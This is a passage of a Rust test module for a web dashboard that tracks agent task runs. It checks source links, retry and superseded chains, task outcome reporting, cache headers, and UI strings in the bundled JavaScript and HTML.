13061 .find(|r| r["short"] == short)
13062 .cloned()
13063 .unwrap_or(Value::Null)
13064 };
13065 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
13066 assert!(
13067 by("bbbb")["superseded_by"].is_null(),
13068 "the latest attempt is not superseded by anything"
13069 );
13070 assert!(APP_JS.contains("run.superseded_by"));
13072 assert!(APP_JS.contains("Superseded by"));
13073 }
13074
13075 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
13076 let mut t = Task::new(
13077 "one task".to_owned(),
13078 "do it".to_owned(),
13079 PathBuf::from("/repo"),
13080 Source::Human,
13081 );
13082 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
13083 t.status = status;
13084 t
13085 }
13086
13087 #[test]
13088 fn source_link_picks_the_page_that_filed_the_task() {
13089 let agent = |node: &str| Source::Agent {
13090 run: "20260904-014455-ab12".to_owned(),
13091 node: node.to_owned(),
13092 };
13093 let chat = source_link(&agent("chat")).expect("chat link");
13094 assert_eq!(chat.kind, "chat");
13095 assert_eq!(chat.id, "20260904-014455-ab12");
13096 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
13097 let run = source_link(&agent("implement")).expect("run link");
13098 assert_eq!(
13099 (run.kind, run.href.as_str()),
13100 ("run", "#/runs/20260904-014455-ab12")
13101 );
13102 assert_eq!(source_link(&Source::Human), None);
13103 assert_eq!(
13104 source_link(&Source::Issue {
13105 number: 3,
13106 repo: "o/r".to_owned()
13107 }),
13108 None
13109 );
13110 let odd = source_link(&Source::Agent {
13111 run: "a b/c".to_owned(),
13112 node: "chat".to_owned(),
13113 })
13114 .expect("link");
13115 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
13116 }
13117
13118 #[test]
13119 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
13120 assert!(
13121 !APP_JS.contains("src.node === \"chat\""),
13122 "inline href rule is back"
13123 );
13124 assert!(
13125 APP_JS.matches("sourceLinkOf(").count() >= 4,
13126 "helper must serve every page"
13127 );
13128 assert!(
13129 APP_JS.matches("openChatLink(").count() >= 3,
13130 "the run page still needs its explicit chat link"
13131 );
13132 assert!(
13133 !APP_JS.contains("const openChat = el("),
13134 "the Queue card duplicates its source label link again"
13135 );
13136 assert!(
13137 APP_JS.contains("metaKids.push(link ? el(\"a\""),
13138 "the task page must link a chat source label too"
13139 );
13140 }
13141
13142 #[test]
13143 fn task_ref_carries_the_source_link_for_a_chat_task() {
13144 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
13145 t.source = Source::Agent {
13146 run: "20260904-014455-ab12".to_owned(),
13147 node: "chat".to_owned(),
13148 };
13149 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
13150 let v = serde_json::to_value(&out).expect("json");
13151 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
13152 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
13153 assert_eq!(v["source_label"], t.source.label());
13154
13155 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
13156 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
13157 .expect("json");
13158 assert!(v["source_link"].is_null(), "{v}");
13159 }
13160
13161 #[test]
13162 fn task_view_serializes_source_link() {
13163 let mut t = Task::new(
13164 "t".to_owned(),
13165 "t".to_owned(),
13166 PathBuf::from("/repo"),
13167 Source::Agent {
13168 run: "20260901-000000-aaaa".to_owned(),
13169 node: "implement".to_owned(),
13170 },
13171 );
13172 t.runs.clear();
13173 let v = serde_json::to_value(TaskView::from(t)).expect("json");
13174 assert_eq!(v["source_link"]["kind"], "run", "{v}");
13175 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
13176 }
13177
13178 #[tokio::test]
13179 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
13180 let fx = Fixture::start().await;
13181 let runs = fx.runs();
13182 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
13183 write_run(&runs, old, RunStatus::Blocked);
13184 write_run(&runs, new, RunStatus::Merged);
13185 let mut t = outcome_task(&[old, new], TaskStatus::Done);
13186 fx.queue().put(&mut t).expect("put");
13187
13188 let view = fx.get(&format!("/api/runs/{old}")).await.json();
13189 let task = &view["task"];
13190 assert_eq!(task["status"], "done");
13191 assert_eq!(task["is_latest"], false);
13192 assert_eq!(task["latest"]["short"], "bbbb");
13193 assert_eq!(task["finished_by"]["id"], new);
13194 assert_eq!(task["finished_by"]["outcome"], "merged");
13195 assert_eq!(task["closed_by_hand"], false);
13196 assert_eq!(view["status"], "blocked", "the run keeps its own status");
13197 assert!(APP_JS.contains("finished_by"));
13198 assert!(APP_JS.contains("superseded by run"));
13199 }
13200
13201 #[tokio::test]
13202 async fn the_latest_run_reports_a_held_task_without_a_successor() {
13203 let fx = Fixture::start().await;
13204 let runs = fx.runs();
13205 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
13206 write_run(&runs, old, RunStatus::Stalled);
13207 write_run(&runs, new, RunStatus::Blocked);
13208 let mut t = outcome_task(&[old, new], TaskStatus::Held);
13209 fx.queue().put(&mut t).expect("put");
13210
13211 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
13212 assert_eq!(task["status"], "held");
13213 assert_eq!(task["is_latest"], true);
13214 assert!(task["latest"].is_null());
13215 assert!(task["finished_by"].is_null());
13216 assert_eq!(task["closed_by_hand"], false);
13217 }
13218
13219 #[tokio::test]
13220 async fn a_direct_run_has_no_task_outcome() {
13221 let fx = Fixture::start().await;
13222 let runs = fx.runs();
13223 let id = "20260901-000000-aaaa";
13224 write_run(&runs, id, RunStatus::Blocked);
13225 let view = fx.get(&format!("/api/runs/{id}")).await.json();
13226 assert!(view["task"].is_null());
13227 }
13228
13229 #[test]
13230 fn task_outcome_does_not_guess_a_finishing_run() {
13231 let a = "20260901-000000-aaaa";
13232 let b = "20260901-000000-bbbb";
13233 let c = "20260901-000000-cccc";
13234 let dir = tempfile::tempdir().expect("tempdir");
13235 write_run(dir.path(), a, RunStatus::Blocked);
13236 write_run(dir.path(), b, RunStatus::VerifiedNoop);
13237 let read = |id: &str| read_run(dir.path(), id).ok();
13239 let t = outcome_task(&[a, b, c], TaskStatus::Done);
13242 let out = task_outcome(&t, a, 3, read);
13243 assert!(out.finished_by.is_none());
13244 assert!(out.closed_by_hand);
13245 let latest = out.latest.expect("latest");
13246 assert_eq!(latest.id, c);
13247 assert_eq!(latest.status, None);
13248 assert_eq!(latest.outcome, "record unreadable");
13249
13250 write_run(dir.path(), c, RunStatus::Ready);
13252 let t = outcome_task(&[a, c], TaskStatus::Done);
13253 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
13254 assert_eq!(out.finished_by.expect("finisher").id, c);
13255 assert!(!out.closed_by_hand);
13256
13257 let t = outcome_task(&[a, b, a], TaskStatus::Held);
13259 assert!(task_outcome(&t, a, 3, read).is_latest);
13260 }
13261
13262 #[tokio::test]
13263 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
13264 let fx = Fixture::start().await;
13269 let q = fx.queue();
13270 let runs = fx.runs();
13271 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
13272 write_run(&runs, first, RunStatus::Blocked);
13273 write_run(&runs, second, RunStatus::Merged);
13274
13275 let mut t = Task::new(
13276 "one task".to_owned(),
13277 "do it".to_owned(),
13278 PathBuf::from("/repo"),
13279 Source::Human,
13280 );
13281 t.runs = vec![first.to_owned(), second.to_owned()];
13282 q.put(&mut t).expect("put");
13283
13284 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
13285 assert_eq!(earlier["superseded_by"], "dddd");
13286 assert_eq!(earlier["latest_attempt"]["id"], second);
13287 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
13288 assert_eq!(
13289 earlier["latest_attempt"]["resolved"], true,
13290 "the run that replaced it landed, so this one reads as settled"
13291 );
13292
13293 let later = fx.get(&format!("/api/runs/{second}")).await.json();
13294 assert!(
13295 later["superseded_by"].is_null(),
13296 "the latest attempt is not superseded by anything"
13297 );
13298 assert!(
13299 later["latest_attempt"].is_null(),
13300 "the latest attempt has no later attempt of its own"
13301 );
13302
13303 assert!(APP_JS.contains("run.latest_attempt"));
13310 assert!(APP_JS.contains("data-superseded"));
13311 assert!(APP_JS.contains("#/runs/${latest.id}"));
13312 }
13313
13314 #[tokio::test]
13315 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
13316 let fx = Fixture::start().await;
13322 let q = fx.queue();
13323 let runs = fx.runs();
13324 let (a, b, c) = (
13325 "20260901-000000-aaaa",
13326 "20260901-000000-bbbb",
13327 "20260901-000000-cccc",
13328 );
13329 write_run(&runs, a, RunStatus::Blocked);
13330 write_run(&runs, b, RunStatus::Blocked);
13331 write_run(&runs, c, RunStatus::Merged);
13332
13333 let mut t = Task::new(
13334 "retried twice".to_owned(),
13335 "do it".to_owned(),
13336 PathBuf::from("/repo"),
13337 Source::Human,
13338 );
13339 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
13340 q.put(&mut t).expect("put");
13341
13342 let view = fx.get(&format!("/api/runs/{a}")).await.json();
13343 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
13344 assert_eq!(
13345 view["latest_attempt"]["id"], c,
13346 "the chain's current head, not the intermediate Blocked retry"
13347 );
13348 assert_eq!(view["latest_attempt"]["resolved"], true);
13349
13350 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
13351 assert_eq!(mid["latest_attempt"]["id"], c);
13352 assert_eq!(mid["latest_attempt"]["resolved"], true);
13353 }
13354
13355 #[tokio::test]
13356 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
13357 let fx = Fixture::start().await;
13358 let q = fx.queue();
13359 let runs = fx.runs();
13360
13361 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
13364 write_run(&runs, still_blocked_a, RunStatus::Blocked);
13365 write_run(&runs, still_blocked_b, RunStatus::Blocked);
13366 let mut t1 = Task::new(
13367 "still stuck".to_owned(),
13368 "do it".to_owned(),
13369 PathBuf::from("/repo"),
13370 Source::Human,
13371 );
13372 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
13373 q.put(&mut t1).expect("put");
13374 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
13375 assert_eq!(view1["latest_attempt"]["resolved"], false);
13376 assert_eq!(view1["latest_attempt"]["status"], "blocked");
13377 assert_eq!(view1["latest_attempt"]["done"], true);
13378
13379 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
13381 write_run(&runs, run_a, RunStatus::Blocked);
13382 write_run(&runs, run_b, RunStatus::Implementing);
13383 let mut t3 = Task::new(
13384 "retrying".to_owned(),
13385 "do it".to_owned(),
13386 PathBuf::from("/repo"),
13387 Source::Human,
13388 );
13389 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
13390 q.put(&mut t3).expect("put");
13391 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
13392 assert_eq!(view3["latest_attempt"]["id"], run_b);
13393 assert_eq!(view3["latest_attempt"]["resolved"], false);
13394 assert_eq!(view3["latest_attempt"]["done"], false);
13395
13396 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
13401 write_run(&runs, noop_a, RunStatus::Blocked);
13402 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
13403 let mut t2 = Task::new(
13404 "claims done".to_owned(),
13405 "do it".to_owned(),
13406 PathBuf::from("/repo"),
13407 Source::Human,
13408 );
13409 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
13410 q.put(&mut t2).expect("put");
13411 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
13412 assert_eq!(
13413 view2["latest_attempt"]["resolved"], false,
13414 "an unverified no-op claim must not read as a confirmed finish"
13415 );
13416
13417 assert!(APP_JS.contains("latest.resolved"));
13420 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
13423 assert!(APP_JS.contains("Latest attempt: "));
13424 assert!(APP_JS.contains("in flight"));
13425 assert!(APP_JS.contains("not resolved"));
13426 }
13427
13428 #[tokio::test]
13429 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
13430 let fx = Fixture::start().await;
13431 let js = fx.get("/app.js").await;
13437 assert_eq!(js.status, 200);
13438 let tag = js
13439 .header("etag")
13440 .expect("an etag to revalidate against")
13441 .to_owned();
13442 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
13443 assert_eq!(
13444 js.header("cache-control"),
13445 Some("no-cache, must-revalidate"),
13446 "the phone has to ask every time"
13447 );
13448
13449 let again = fx
13452 .get_with("/app.js", &[("if-none-match", tag.as_str())])
13453 .await;
13454 assert_eq!(
13455 again.status, 304,
13456 "a deck it already has costs one round trip"
13457 );
13458 assert!(again.body.is_empty(), "304 carries no body");
13459
13460 let weak = fx
13463 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
13464 .await;
13465 assert_eq!(weak.status, 304);
13466 let stale = fx
13467 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
13468 .await;
13469 assert_eq!(stale.status, 200, "an older build must be replaced");
13470 assert!(stale.body.contains("renderRunActions"));
13471 }
13472
13473 #[test]
13474 fn the_task_detail_has_an_actions_fab_and_sheet() {
13475 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
13476 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
13477 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
13478 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
13480 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
13481 assert!(APP_JS.contains("renderTaskActions(task);"));
13483 assert!(APP_JS.contains("renderTaskActions(null);"));
13484 let sheet = APP_JS
13486 .find("function renderTaskActions")
13487 .expect("sheet renderer");
13488 let body = &APP_JS[sheet..sheet + 3000];
13489 assert!(body.contains("changePriority("));
13490 assert!(body.contains("openTaskEdit(task)"));
13491 assert!(body.contains("renderTaskHoldBox(host"));
13492 assert!(body.contains("renderTaskDoneBox(host"));
13493 assert!(body.contains("renderTaskDeleteBox(host"));
13494 assert!(APP_JS.contains("API.priority(id)"));
13495 assert!(APP_JS.contains("API.deleteTask(id)"));
13496 assert!(APP_JS.contains("location.hash = \"#/queue\""));
13498 assert!(APP_JS.contains("$(\"task-actions-error\")"));
13500 }
13501
13502 #[test]
13503 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
13504 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
13505 let actions = INDEX_HTML
13506 .find("id=\"run-actions-box\"")
13507 .expect("actions box");
13508 assert!(task < actions, "the task entry comes first in the sheet");
13509 assert!(APP_JS.contains("renderRunTaskEntry"));
13510 assert!(APP_JS.contains("\"Open task \""));
13511 assert!(APP_JS.contains("started directly, no task"));
13513 assert!(APP_JS.contains("sheet-task-link"));
13514 assert!(APP_JS.contains("task-chip-link"));
13515 }
13516
13517 #[test]
13518 fn the_deck_never_sends_the_operator_to_a_terminal() {
13519 assert!(
13522 !APP_JS.contains("Run `magi fold` first"),
13523 "the deck must offer the fold, not prescribe a shell command"
13524 );
13525 assert!(APP_JS.contains("foldRun:"));
13526 assert!(APP_JS.contains("resumeRun:"));
13527 assert!(APP_JS.contains("renderRunActions"));
13528
13529 assert!(APP_JS.contains("armedFold"));
13531 assert!(APP_JS.contains("Yes, fold worktrees"));
13532
13533 assert!(APP_JS.contains("can no longer be resumed"));
13536 }
13537
13538 #[test]
13539 fn a_finished_run_explains_itself_with_its_own_last_line() {
13540 assert!(
13546 !APP_JS.contains("collapsed on agent quota"),
13547 "a stall must not be explained by a cause the deck did not check"
13548 );
13549 assert!(
13550 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
13551 "and a block must not offer a guess with an `or` in it"
13552 );
13553
13554 assert!(
13558 APP_JS.contains("setText(r.event, run.event || \"\")"),
13559 "the run's last line is rendered unconditionally"
13560 );
13561 assert!(
13562 !APP_JS.contains("moving && run.event"),
13563 "and never gated on the run still moving"
13564 );
13565
13566 assert!(APP_JS.contains("lost to quota"));
13568 }
13569
13570 #[test]
13592 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
13593 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
13594 let shapes_body_start =
13595 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
13596 let shapes_close = APP_JS[shapes_body_start..]
13597 .find("].map(")
13598 .expect("the shape list is closed by its done-computing .map(...)")
13599 + shapes_body_start;
13600 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
13601
13602 let mut shapes: Vec<(bool, String, bool)> = Vec::new();
13603 for entry in shapes_src.split('{').skip(1) {
13604 let waiting = entry.contains("waiting: true");
13605 let dead = entry.contains("live: \"dead\"");
13606 let status_at =
13607 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
13608 let status_end = entry[status_at..]
13609 .find('"')
13610 .expect("the status string is closed")
13611 + status_at;
13612 shapes.push((waiting, entry[status_at..status_end].to_string(), dead));
13613 }
13614 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
13615
13616 let done_rule_marker = "done: !";
13620 let done_rule_at = APP_JS[shapes_close..]
13621 .find(done_rule_marker)
13622 .expect("the done rule follows the shape list")
13623 + shapes_close
13624 + done_rule_marker.len();
13625 let includes_at = APP_JS[done_rule_at..]
13626 .find(".includes(shape.status)")
13627 .expect("the done rule ends in .includes(shape.status)")
13628 + done_rule_at;
13629 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
13630 .trim()
13631 .trim_start_matches('[')
13632 .trim_end_matches(']')
13633 .split(',')
13634 .map(|s| s.trim().trim_matches('"'))
13635 .filter(|s| !s.is_empty())
13636 .collect();
13637
13638 let shapes: Vec<(bool, String, bool, bool)> = shapes
13639 .into_iter()
13640 .map(|(waiting, status, dead)| {
13641 let done = !not_done.contains(&status.as_str());
13642 (waiting, status, dead, done)
13643 })
13644 .collect();
13645
13646 fn run_section(waiting: bool, status: &str, dead: bool) -> &'static str {
13650 if waiting {
13651 return "waiting";
13652 }
13653 if dead
13654 && !matches!(
13655 status,
13656 "merged"
13657 | "ready"
13658 | "stalled"
13659 | "blocked"
13660 | "failed"
13661 | "verified_noop"
13662 | "superseded"
13663 | "already_in_base"
13664 )
13665 {
13666 return "stale";
13667 }
13668 match status {
13669 "merged" | "ready" => "landed",
13670 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
13671 | "already_in_base" => "ended",
13672 _ => "flight",
13673 }
13674 }
13675
13676 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
13679 match filter_key {
13680 "active" => !done,
13681 "flight" => !done && !waiting && !dead,
13682 "stale" => !done && !waiting && dead,
13683 "waiting" => waiting,
13684 "done" => done,
13685 "all" => true,
13686 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
13687 }
13688 }
13689
13690 let compatible = |section: &str, filter_key: &str| {
13691 shapes.iter().any(|(waiting, status, dead, done)| {
13692 run_section(*waiting, status, *dead) == section
13693 && filter_matches(filter_key, *waiting, *dead, *done)
13694 })
13695 };
13696
13697 let expected = [
13702 ("waiting", [true, false, false, true, true, true]),
13703 ("stale", [true, false, true, false, false, true]),
13704 ("flight", [true, true, false, false, false, true]),
13705 ("landed", [false, false, false, false, true, true]),
13706 ("ended", [false, false, false, false, true, true]),
13707 ];
13708 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
13709
13710 for (section, wants) in expected {
13711 for (filter_key, want) in filter_keys.iter().zip(wants) {
13712 assert_eq!(
13713 compatible(section, filter_key),
13714 want,
13715 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
13716 );
13717 }
13718 }
13719
13720 assert!(
13723 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
13724 );
13725 assert!(APP_JS.contains(
13726 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
13727 ));
13728 assert!(APP_JS.contains(
13729 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
13730 ));
13731 }
13732
13733 #[tokio::test]
13734 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
13735 let dir = tempfile::tempdir().expect("tempdir");
13739 let explicit = dir.path().join("not-a-checkout");
13740 std::fs::create_dir_all(&explicit).expect("create dir");
13741 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
13742
13743 let missing = dir.path().join("does-not-exist-at-all");
13744 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
13745 }
13746}